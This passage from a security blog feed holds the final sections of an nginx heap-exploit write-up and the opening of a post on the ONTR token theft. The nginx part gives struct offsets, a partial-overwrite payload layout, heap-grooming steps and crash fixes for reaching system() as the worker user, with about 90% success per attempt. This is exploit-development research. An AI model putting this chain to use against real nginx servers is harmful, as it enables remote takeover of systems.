    ngx_pool_large_t     *large;          //                            +0x38
    ngx_pool_cleanup_t   *cleanup;        //   &lt;-- what we corrupt      +0x40
    ngx_log_t            *log;            //                            +0x48
};

struct ngx_pool_cleanup_s {               // == ngx_pool_cleanup_t  (24 bytes)
    ngx_pool_cleanup_pt   handler;        //   called as handler(data)  +0x00
    void                 *data;           //                            +0x08
    ngx_pool_cleanup_t   *next;           //                            +0x10
};
</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GHLw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GHLw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 424w, https://substackcdn.com/image/fetch/$s_!GHLw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 848w, https://substackcdn.com/image/fetch/$s_!GHLw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 1272w, https://substackcdn.com/image/fetch/$s_!GHLw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GHLw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png" width="1010" height="504" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:504,&quot;width&quot;:1010,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:135320,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200784619?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GHLw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 424w, https://substackcdn.com/image/fetch/$s_!GHLw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 848w, https://substackcdn.com/image/fetch/$s_!GHLw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 1272w, https://substackcdn.com/image/fetch/$s_!GHLw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1565e2ba-7b3a-4cca-b149-53755c9285d6_1010x504.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>So <code>pool-&gt;cleanup</code> (above) is a heap address whose high bytes are ASLR-random but whose enclosing <em>64 KB block</em> we know from the leak. We overwrite <strong>only the low 2 bytes</strong> of the pointer at <code>pool+0x40</code> so it lands on one of our sprayed records in that same block. The cleanup record&#8217;s <code>handler</code> is a nginx-<code>.text</code> address (the stripped <code>ngx_http_limit_conn_cleanup</code>) and its <code>data</code> sits at <code>cleanup+0x18</code>. (The chain has a single entry here, <code>next = NULL</code>; we don&#8217;t care which handler it legitimately holds, the partial overwrite <em>replaces</em> the head pointer with the address of our fake record.)</p><h3>5.2 Landing the write on <code>pool-&gt;cleanup</code></h3><p>gdb-measured, deterministic geometry on the Debian heap (offsets from the leaked bases; the groom keeps them stable). Note <code>S</code> (the rift&#8217;s <code>set</code> buffer) <strong>rises as the rift URI grows</strong>, so the target offset is a <em>fixpoint</em>, <code>N+3K</code> must equal the gap it itself produces:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">victim cleanup field   = S + 0xbd0           &#8594; N + 3K = 0xbd0  &#8594;  N=9, K=1005  (fixpoint; URI stays &lt;2k)
cleanup pointer value  = heap_base + 0x1001f8 &#8594; block = (heap_base+0x1001f8) &amp; ~0xffff
command holder spray   = heap_base + 0x28680  &#8594; cmd_ptr
record runs (167 recs, 24-byte stride) straddle the cleanup ptr: heap_base + {0xe4ef0 &#8230; 0x157470}
groom: 16 empty connections (vs 4 on Ubuntu) evict a wedged conn pool so v lands close to S</code></pre></div><p><code>S</code> is <code>e-&gt;buf.data</code> of the <strong>rift</strong> request (caught the same way as &#167;4 but driven by <code>/api/v1/&#8230;</code>). The payload <code>A&#215;9 + (+)&#215;1005 + YYYY</code> lands the last 2 bytes (<code>YYYY</code>) exactly on <code>pool-&gt;cleanup[+0x40..+0x41]</code>. <code>pick_yyyy(heap_base)</code> chooses a <code>YYYY</code> whose absolute address <code>block|YYYY</code> is an actual record and is URL-safe.</p><h3>5.3 The corrupted cleanup</h3><p>When the rift fires, the last 2 bytes of the victim&#8217;s <code>pool-&gt;cleanup</code> are overwritten with the URL-safe <code>YYYY</code> while the ASLR-random high bytes ride along untouched. So <code>pool-&gt;cleanup</code> now points at one of our sprayed <code>{handler=&amp;system, data=cmd_ptr, next=0}</code> records inside the same 64 KB block, <code>&amp;system</code> is the leaked <code>libc_base + 0x53110</code>, and <code>data</code> is the command-holder spray. Only the low 2 bytes were ever written by us; the rest is the victim&#8217;s own heap base.</p><p>The screenshot in &#167;5.4 captures this live. The trick: at the <code>system</code> breakpoint, <code>ngx_destroy_pool</code> has left <code>pool</code> in <code>$rbp</code> and the cleanup record <code>c</code> in <code>$rbx</code> (both callee-saved, so they survive into <code>system</code>). So in that one stop:</p><ul><li><p><code>x/3gx $rbx</code> shows the redirected record &#8212; <code>{ &amp;system, cmd_ptr, 0 }</code>;</p></li><li><p><code>x/gx $rbp+0x40</code> shows the victim&#8217;s <code>pool-&gt;cleanup</code> pointing right at it;</p></li><li><p><code>$rbp</code> itself shows the pool header smashed with the escaped <code>%2B</code> overflow (the bytes just before the cleanup field);</p></li><li><p><code>x/s $rdi</code> is the command (<code>c-&gt;data</code>).</p></li></ul><h3>5.4 The cleanup walk calls system</h3><p><code>break *system</code>, then fire the chain. The stock release binary is stripped (no line numbers, and a couple of static frames show as <code>??</code>), but the call chain is unmistakable, <code>system</code> is reached straight from <code>ngx_destroy_pool</code>&#8216;s cleanup walk. The same stop also shows the &#167;5.3 corrupted cleanup (<code>$rbx</code> = the <code>{&amp;system, cmd, 0}</code> record, <code>$rbp+0x40</code> = <code>pool-&gt;cleanup</code>):</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KhQ-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KhQ-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 424w, https://substackcdn.com/image/fetch/$s_!KhQ-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 848w, https://substackcdn.com/image/fetch/$s_!KhQ-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 1272w, https://substackcdn.com/image/fetch/$s_!KhQ-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KhQ-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png" width="1014" height="756" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:756,&quot;width&quot;:1014,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:195137,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200784619?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KhQ-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 424w, https://substackcdn.com/image/fetch/$s_!KhQ-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 848w, https://substackcdn.com/image/fetch/$s_!KhQ-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 1272w, https://substackcdn.com/image/fetch/$s_!KhQ-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F550d9ef4-5f0a-44c4-bc89-5f897e20c234_1014x756.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Result: the worker executed our command as its own user:</p><pre><code><code>$ docker exec nginx-rift-official cat /tmp/rce_proof
uid=101(nginx) gid=101(nginx) groups=101(nginx)
</code></code></pre><h3><strong>5.5 The obstacle cascade (what gdb taught me, and the fixes)</strong></h3><p>Getting from &#8220;the pointer is corrupted&#8221; to &#8220;system fires cleanly&#8221; took fighting five crashes; each is worth recording because the fix is baked into the exploit/config:</p><ul><li><p><code>SIGSEGV</code><strong> in </strong><code>ngx_http_request_handler</code>: the overflow smashed the <strong>victim&#8217;s connection pool</strong> (which sat between the rift block and the victim&#8217;s request pool), breaking the event struct on the close event. <em>Fix:</em> the <strong>empty-conn groom</strong> evicts that conn pool so the request pool lands right after the rift block, nothing in between.</p></li><li><p><code>SIGSEGV</code><strong> in </strong><code>ngx_palloc_small</code> (from <code>ngx_http_log_request</code> to <code>ngx_pnalloc</code>): finalizing the victim logs the request, allocating from its <strong>smashed </strong><code>r-&gt;pool</code><strong> header</strong> <em>before</em> the cleanup walk. <em>Fix:</em> <code>access_log off;</code> on <code>/api/upload</code>.</p></li><li><p><code>SIGABRT</code><strong> in </strong><code>free()</code> during <code>ngx_destroy_pool</code> of the <strong>rift request&#8217;s</strong> pool: reaching a far victim forced a 2nd pool block / smashed a chunk header. <em>Fix:</em> keep <code>a</code> parked on the upstream (its pool frees <em>after</em> the victim fires) + a minimal overflow.</p></li><li><p><code>pick_yyyy</code><strong> finds nothing</strong>: on some bases no record run lands in the cleanup block. <em>Fix:</em> a tiled victim body + early/post-victim sprays, so record runs straddle the block for any base.</p></li><li><p><code>SIGSEGV</code><strong> in </strong><code>free()</code> during <code>ngx_destroy_pool</code> (Debian-specific): if the rift URI &gt;= 2 k it spills into a large header buffer, which moves <code>S</code>, so the target overshoots the victim&#8217;s cleanup field and the smashed pool crashes in <code>free()</code> instead of firing. <em>Fix:</em> the <strong>fixpoint</strong> <code>N=9, K=1005</code> keeps the URI &lt; 2 k; since <code>S</code> itself rises with URI length, <code>N+3K</code> must equal the gap it produces (solved by iterating).</p></li></ul><p>The <code>access_log off</code>, the parked-upstream ordering, and the URI-length fixpoint are the non-obvious ones, each surfaced only because the crash backtrace pointed straight at the offending frame.</p><h3><strong>5.6 Dead-ends and pivots (ideas that didn&#8217;t survive contact)</strong></h3><p>The crashes above are the <em>runtime</em> fights. These are the bigger <strong>design</strong> dead-ends; approaches that seemed right and had to be abandoned. They&#8217;re the most useful part of the writeup, because each pivot is what actually made the chain work on a stock Debian release:</p><ul><li><p><strong>Write the </strong><em><strong>full</strong></em><strong> cleanup pointer</strong> (the public-PoC approach): rift emits only URL-safe bytes, so a full 48-bit heap address is writable only <strong>~0.9 %</strong> of the time under ASLR (measured, &#167;3.1). <strong>&#8594;</strong> The <strong>2-byte partial</strong> overwrite of an <em>existing</em> <code>limit_conn</code> cleanup pointer (&#167;3.2).</p></li><li><p><strong>Use rift alone</strong>: it has no info-leak; the public PoC just hardcodes <code>LIBC_BASE</code>/<code>HEAP_BASE</code> (ASLR-off only). <strong>&#8594;</strong> Chain <strong>PoolSlip</strong> as the leak primitive (&#167;2).</p></li><li><p><strong>Leak libc via the &#8220;big POST body mmaps just below libc&#8221; sled</strong> (worked on Ubuntu): on Debian glibc 2.41 large allocations land in the <strong>low brk/PIE cluster</strong>, <em>not</em> below libc, so no libc-cluster pointer ever appears that way. <strong>&#8594;</strong> The <strong>libpcre/regex</strong> pointer that <code>ld</code> maps at a fixed <code>0xb0ad08</code> below libc, reflected at <code>$args[1729]</code>.</p></li><li><p><strong>Leak libc via a freed unsorted-bin chunk&#8217;s </strong><code>main_arena</code><strong> fd/bk</strong>: the over-read window held no <code>main_arena</code> pointer; freed pool blocks got reused, and freeing large chunks <em>raised</em> glibc&#8217;s dynamic mmap threshold (pushing bodies to brk). <strong>&#8594;</strong> The same libpcre pointer, deterministic, no grooming needed.</p></li><li><p><strong>Leak straight off </strong><code>/search</code><strong> with no warm-up</strong>: the off-1729 pointer isn&#8217;t present on a cold heap. <strong>&#8594;</strong> <strong>~40 </strong><code>/search</code><strong> warm-up</strong> hits churn the heap so it settles there (verified 5/5 across bases).</p></li><li><p><strong>Over-read further (</strong><code>k&#8776;500</code><strong>) to reach a libc pointer</strong>: <code>r-&gt;args.len</code> then runs past the mapped pool so Empty reflection / worker <code>SIGSEGV</code>. <strong>&#8594;</strong> Keep <code>k=350</code> (~2100 B, stays mapped); the off-1729 pointer is already in range.</p></li><li><p><strong>Read engine/request structs by name in gdb</strong> (<code>p e-&gt;is_args</code>, <code>r-&gt;uri</code>): the release image is <strong>stripped</strong>, so field-by-name throws and the probes silently captured <em>nothing</em>. <strong>&#8594;</strong> <strong>raw byte offsets</strong> + <code>$rdi</code> at <code>*func</code> entry; identify the victim by <code>read_body</code> <strong>call-order</strong>, never by <code>r-&gt;uri</code> (a late field whose offset differs from the source build).</p></li><li><p><strong>Calibrate </strong><code>TARGET_OFF</code><strong> with a </strong><em><strong>short</strong></em><strong> rift URI</strong>: the <code>set</code>-buffer <code>S</code> <em>rises</em> with URI length, so the short-URI gap (<code>0x18f9</code>/<code>0x10e9</code>) was wrong for the real long URI and the write overshot the cleanup field. <strong>&#8594;</strong> Solve the <strong>fixpoint</strong> <code>N+3K == gap(S(K))</code> &#8594; <code>N=9, K=1005</code> (URI stays &lt; 2 k).</p></li><li><p><strong>4-empty groom</strong> (the Ubuntu value): on Debian it still left a conn pool wedged between <code>a</code> and <code>v</code>, if <code>TARGET_OFF=0x18f9</code>, forcing the URI &gt;= 2 k (regime flip, no fixpoint). <strong>&#8594;</strong> <strong>16 empties</strong> (Debian conn-pool sizing) evict it so <code>v</code> lands close to <code>S</code> &#8594; <code>TARGET_OFF=0xbd0</code>.</p></li><li><p><strong>Auto-retry loop + phone-home callback to force &#8220;100 %&#8221;</strong>: every fire eventually crashes the worker post-<code>system()</code>, so phantom <code>limit_conn</code> counts cap same-IP retries; it also diverged from the simple one-shot PoC flow. <strong>&#8594;</strong> <strong>one-shot</strong> like the lab PoC (leak once, fire once, check the box); ~90 %/fire, re-run on a miss; fresh source IPs make retries independent.</p></li><li><p><strong>Tight groom sleeps</strong>: the connection-ordering race wasn&#8217;t settled &#8594; ~60 %. <strong>&#8594;</strong> let each phase <strong>settle</strong> (longer inter-step sleeps) &#8594; ~90 %; more than that doesn&#8217;t help.</p></li></ul><div><hr></div><h2>6. Reliability &amp; notes</h2><ul><li><p><strong>~90 % per fresh worker</strong> (11/12 single-shot) on the stock release image. The residual ~10 % is groom-timing variance (the heap race occasionally places the victim a slot off make the 2-byte write misses <code>pool-&gt;cleanup</code> &#8594; SIGSEGV). The jump from an initial ~60 % was simply letting each groom phase <strong>settle</strong> (longer inter-step sleeps); more sleep beyond that doesn&#8217;t help.</p></li><li><p><strong>Per-IP ceiling, not per-shot.</strong> Every attempt eventually crashes the worker, <code>system()</code> fires <em>first</em> during the cleanup walk, <em>then</em> the smashed pool&#8217;s <code>free()</code> SIGSEGVs. The crash leaves phantom <code>limit_conn</code> (perip) counts (the dead connections&#8217; cleanups never run), so after ~2 attempts the source IP hits the perip-100 cap and further connections are refused. Same-IP retries therefore don&#8217;t compound; a networked attacker retrying from <strong>fresh source IPs</strong> gets independent ~90 % shots to effectively 100 %.</p></li><li><p><strong>Nothing hardcoded</strong>: libc, heap and every write target come from the live PoolSlip leak. The release build is stripped, so the only build-specific &#8220;knowledge&#8221; used is struct <em>offsets</em> (identical to the source build) plus the glibc-2.41 <code>system</code> offset.</p></li><li><p><strong>No nginx restart</strong>: the master respawns the crashed worker; the chain can run again immediately.</p></li><li><p><strong>Config credibility</strong>: No allocator tuning, a plausible API-gateway shape (limit_conn, a v1 &#8594;v2 migration rewrite, an upload proxy, a degraded search page), not a contrived lab config. The catch: the triggering <code>rewrite</code>+<code>set</code> shape looks innocuous but is a <strong>specific pattern that's uncommon in real configs</strong> (see scope note), the point here is the technique, not that this shape is widespread.</p></li></ul><div><hr></div><h1>7. <strong>Credits &amp; references</strong></h1><p>Original report:</p><ul><li><p><a href="https://depthfirst.com/nginx-rift">CVE-2026-42945 (rift)</a></p></li><li><p><a href="https://my.f5.com/manage/s/article/K000161377">CVE-2026-9256 (PoolSlip)</a></p></li></ul><p>Original component PoCs: <a href="https://github.com/DepthFirstDisclosures/Nginx-Rift">DepthFirstDisclosures/Nginx-Rift</a> (rift).<br></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[How Renouncing Ownership Opened a $98K Backdoor on ONTR Token]]></title><description><![CDATA[On May 28, 2026, the ONTR token on Ethereum was drained of approximately $98,315 in a matter of minutes.]]></description><link>https://blog.verichains.io/p/how-renouncing-ownership-opened-a</link><guid isPermaLink="false">https://blog.verichains.io/p/how-renouncing-ownership-opened-a</guid><dc:creator><![CDATA[th13vn]]></dc:creator><pubDate>Tue, 02 Jun 2026 08:59:27 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!GcEi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On May 28, 2026, the <strong>ONTR token</strong> on Ethereum was drained of approximately <strong>$98,315</strong> in a matter of minutes. The culprit wasn&#8217;t a complex cryptographic puzzle or an elaborate flash loan scheme - it was something far more ironic: the contract creator <strong>renounced ownership</strong> as a trust signal to the community, unknowingly activating a backdoor hidden in the <code>onlyOwner</code> modifier that let <em>anyone</em> reclaim ownership.</p><p>A single ownership renouncement - meant to say &#8220;nobody controls this contract&#8221; - became an open invitation for exploitation. Here&#8217;s how a trust-building gesture turned into a $98K catastrophe.</p><div><hr></div><ul><li><p><strong>Date:</strong> May 28, 2026</p></li><li><p><strong>Protocol:</strong> ONTR Token (Ethereum)</p></li><li><p><strong>Loss:</strong> ~49.4801 WETH (~$98,315)</p></li><li><p><strong>Root Cause:</strong> Flawed <code>onlyOwner</code> modifier treats renounced ownership (<code>owner == address(0)</code>) as a pass-all condition</p></li><li><p><strong>Vulnerable Contract:</strong> <code>0xf074865358b0dd039beee075831f8a2ae6b1f3f3</code> (ONTR Token)</p></li><li><p><strong>Attacker:</strong> <code>0xe806B37A2caab7E65057A24E3802aDa757550b760</code></p></li><li><p><strong>Attack TX:</strong> <code>0x98f80eff0ce609606bb73cef3edfbb4c1d415ffc7676fec16f4d980c54903621</code></p></li></ul><div><hr></div><h2><strong>Background</strong></h2><p><strong>ONTR</strong> is an ERC-20 token deployed on the Ethereum mainnet. Like many tokens in the DeFi ecosystem, it maintained a liquidity pool paired with WETH on a decentralized exchange (PancakeSwap). The contract implemented standard ownership patterns - or so it appeared.</p><p>At deployment in block <strong>25192445</strong> (May 28, 2026, 07:48:11 UTC), the contract creator did something common in the token space: they <strong>renounced ownership</strong> immediately. The on-chain logs tell the story clearly - two <code>OwnershipTransferred</code> events fired in the same deployment transaction:</p><ol><li><p><code>OwnershipTransferred(address(0) &#8594; 0x1cFF...9718)</code> - deployer receives ownership</p></li><li><p><code>OwnershipTransferred(0x1cFF...9718 &#8594; address(0))</code> - deployer renounces ownership</p></li></ol><p>In DeFi, renouncing ownership is typically a <em>trust signal</em> - it tells users &#8220;nobody can rug this contract.&#8221; But in the ONTR contract, this gesture had the exact opposite effect. The contract featured several owner-restricted functions, including obscurely named methods like <code>desertJasper()</code> and <code>glenFlash()</code>, which could manipulate token balances directly. These functions were gated by an <code>onlyOwner</code> modifier - and the modifier had a fatal flaw that turned renounced ownership into an <em>open door</em>.</p><h2><strong>Root Cause</strong></h2><p>The vulnerability lies in the custom <code>Ownable</code> contract (<a href="https://etherscan.io/address/0xf074865358b0dd039beee075831f8a2ae6b1f3f3#code">verified source on Etherscan</a>) bundled with the ONTR token. Instead of using the standard OpenZeppelin <code>Ownable</code>, the contract rolled its own version with heavily obfuscated variable names - and a fatal flaw in the modifier:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1dF-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1dF-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 424w, https://substackcdn.com/image/fetch/$s_!1dF-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 848w, https://substackcdn.com/image/fetch/$s_!1dF-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 1272w, https://substackcdn.com/image/fetch/$s_!1dF-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1dF-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png" width="855" height="851" 